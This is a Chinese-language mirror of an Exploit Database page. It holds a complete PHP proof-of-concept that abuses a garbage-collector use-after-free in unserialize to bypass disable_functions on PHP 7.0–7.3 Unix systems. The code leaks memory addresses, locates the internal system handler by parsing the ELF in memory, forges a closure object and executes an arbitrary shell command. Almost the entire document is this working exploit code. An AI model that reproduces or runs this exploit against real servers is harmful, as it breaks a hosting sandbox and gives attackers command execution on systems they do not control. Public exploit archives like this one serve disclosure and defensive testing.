PHP 7.0 < 7.3 (Unix) - 'gc' disable_functions Bypass

• Exploit Database
• 25 阅读

• 作者： mm0r1
  日期： 2019-10-03
• 类别：

  • webapps
  平台：

  • php
• 来源：https://www.exploit-db.com/exploits/47462/

• <?php
  
  # PHP 7.0-7.3 disable_functions bypass PoC (*nix only)
  #
  # Bug: https://bugs.php.net/bug.php?id=72530
  #
  # This exploit should work on all PHP 7.0-7.3 versions
  # released as of 04/10/2019, specifically:
  # 
  # PHP 7.0 - 7.0.33
  # PHP 7.1 - 7.1.31
  # PHP 7.2 - 7.2.23
  # PHP 7.3 - 7.3.10
  #
  # Author: https://github.com/mm0r1
  
  pwn("uname -a");
  
  function pwn($cmd) {
  global $abc, $helper;
  
  function str2ptr(&$str, $p = 0, $s = 8) {
  $address = 0;
  for($j = $s-1; $j >= 0; $j--) {
  $address <<= 8;
  $address |= ord($str[$p+$j]);
  }
  return $address;
  }
  
  function ptr2str($ptr, $m = 8) {
  $out = "";
  for ($i=0; $i < $m; $i++) {
  $out .= chr($ptr & 0xff);
  $ptr >>= 8;
  }
  return $out;
  }
  
  function write(&$str, $p, $v, $n = 8) {
  $i = 0;
  for($i = 0; $i < $n; $i++) {
  $str[$p + $i] = chr($v & 0xff);
  $v >>= 8;
  }
  }
  
  function leak($addr, $p = 0, $s = 8) {
  global $abc, $helper;
  write($abc, 0x68, $addr + $p - 0x10);
  $leak = strlen($helper->a);
  if($s != 8) { $leak %= 2 << ($s * 8) - 1; }
  return $leak;
  }
  
  function parse_elf($base) {
  $e_type = leak($base, 0x10, 2);
  
  $e_phoff = leak($base, 0x20);
  $e_phentsize = leak($base, 0x36, 2);
  $e_phnum = leak($base, 0x38, 2);
  
  for($i = 0; $i < $e_phnum; $i++) {
  $header = $base + $e_phoff + $i * $e_phentsize;
  $p_type= leak($header, 0, 4);
  $p_flags = leak($header, 4, 4);
  $p_vaddr = leak($header, 0x10);
  $p_memsz = leak($header, 0x28);
  
  if($p_type == 1 && $p_flags == 6) { # PT_LOAD, PF_Read_Write
  # handle pie
  $data_addr = $e_type == 2 ? $p_vaddr : $base + $p_vaddr;
  $data_size = $p_memsz;
  } else if($p_type == 1 && $p_flags == 5) { # PT_LOAD, PF_Read_exec
  $text_size = $p_memsz;
  }
  }
  
  if(!$data_addr || !$text_size || !$data_size)
  return false;
  
  return [$data_addr, $text_size, $data_size];
  }
  
  function get_basic_funcs($base, $elf) {
  list($data_addr, $text_size, $data_size) = $elf;
  for($i = 0; $i < $data_size / 8; $i++) {
  $leak = leak($data_addr, $i * 8);
  if($leak - $base > 0 && $leak - $base < $text_size) {
  $deref = leak($leak);
  # 'constant' constant check
  if($deref != 0x746e6174736e6f63)
  continue;
  } else continue;
  
  $leak = leak($data_addr, ($i + 4) * 8);
  if($leak - $base > 0 && $leak - $base < $text_size) {
  $deref = leak($leak);
  # 'bin2hex' constant check
  if($deref != 0x786568326e6962)
  continue;
  } else continue;
  
  return $data_addr + $i * 8;
  }
  }
  
  function get_binary_base($binary_leak) {
  $base = 0;
  $start = $binary_leak & 0xfffffffffffff000;
  for($i = 0; $i < 0x1000; $i++) {
  $addr = $start - 0x1000 * $i;
  $leak = leak($addr, 0, 7);
  if($leak == 0x10102464c457f) { # ELF header
  return $addr;
  }
  }
  }
  
  function get_system($basic_funcs) {
  $addr = $basic_funcs;
  do {
  $f_entry = leak($addr);
  $f_name = leak($f_entry, 0, 6);
  
  if($f_name == 0x6d6574737973) { # system
  return leak($addr + 8);
  }
  $addr += 0x20;
  } while($f_entry != 0);
  return false;
  }
  
  class ryat {
  var $ryat;
  var $chtg;
  
  function __destruct()
  {
  $this->chtg = $this->ryat;
  $this->ryat = 1;
  }
  }
  
  class Helper {
  public $a, $b, $c, $d;
  }
  
  if(stristr(PHP_OS, 'WIN')) {
  die('This PoC is for *nix systems only.');
  }
  
  $n_alloc = 10; # increase this value if you get segfaults
  
  $contiguous = [];
  for($i = 0; $i < $n_alloc; $i++)
  $contiguous[] = str_repeat('A', 79);
  
  $poc = 'a:4:{i:0;i:1;i:1;a:1:{i:0;O:4:"ryat":2:{s:4:"ryat";R:3;s:4:"chtg";i:2;}}i:1;i:3;i:2;R:5;}';
  $out = unserialize($poc);
  gc_collect_cycles();
  
  $v = [];
  $v[0] = ptr2str(0, 79);
  unset($v);
  $abc = $out[2][0];
  
  $helper = new Helper;
  $helper->b = function ($x) { };
  
  if(strlen($abc) == 79) {
  die("UAF failed");
  }
  
  # leaks
  $closure_handlers = str2ptr($abc, 0);
  $php_heap = str2ptr($abc, 0x58);
  $abc_addr = $php_heap - 0xc8;
  
  # fake value
  write($abc, 0x60, 2);
  write($abc, 0x70, 6);
  
  # fake reference
  write($abc, 0x10, $abc_addr + 0x60);
  write($abc, 0x18, 0xa);
  
  $closure_obj = str2ptr($abc, 0x20);
  
  $binary_leak = leak($closure_handlers, 8);
  if(!($base = get_binary_base($binary_leak))) {
  die("Couldn't determine binary base address");
  }
  
  if(!($elf = parse_elf($base))) {
  die("Couldn't parse ELF header");
  }
  
  if(!($basic_funcs = get_basic_funcs($base, $elf))) {
  die("Couldn't get basic_functions address");
  }
  
  if(!($zif_system = get_system($basic_funcs))) {
  die("Couldn't get zif_system address");
  }
  
  # fake closure object
  $fake_obj_offset = 0xd0;
  for($i = 0; $i < 0x110; $i += 8) {
  write($abc, $fake_obj_offset + $i, leak($closure_obj, $i));
  }
  
  # pwn
  write($abc, 0x20, $abc_addr + $fake_obj_offset);
  write($abc, 0xd0 + 0x38, 1, 4); # internal func type
  write($abc, 0xd0 + 0x68, $zif_system); # internal func handler
  
  ($helper->b)($cmd);
  
  exit();
  }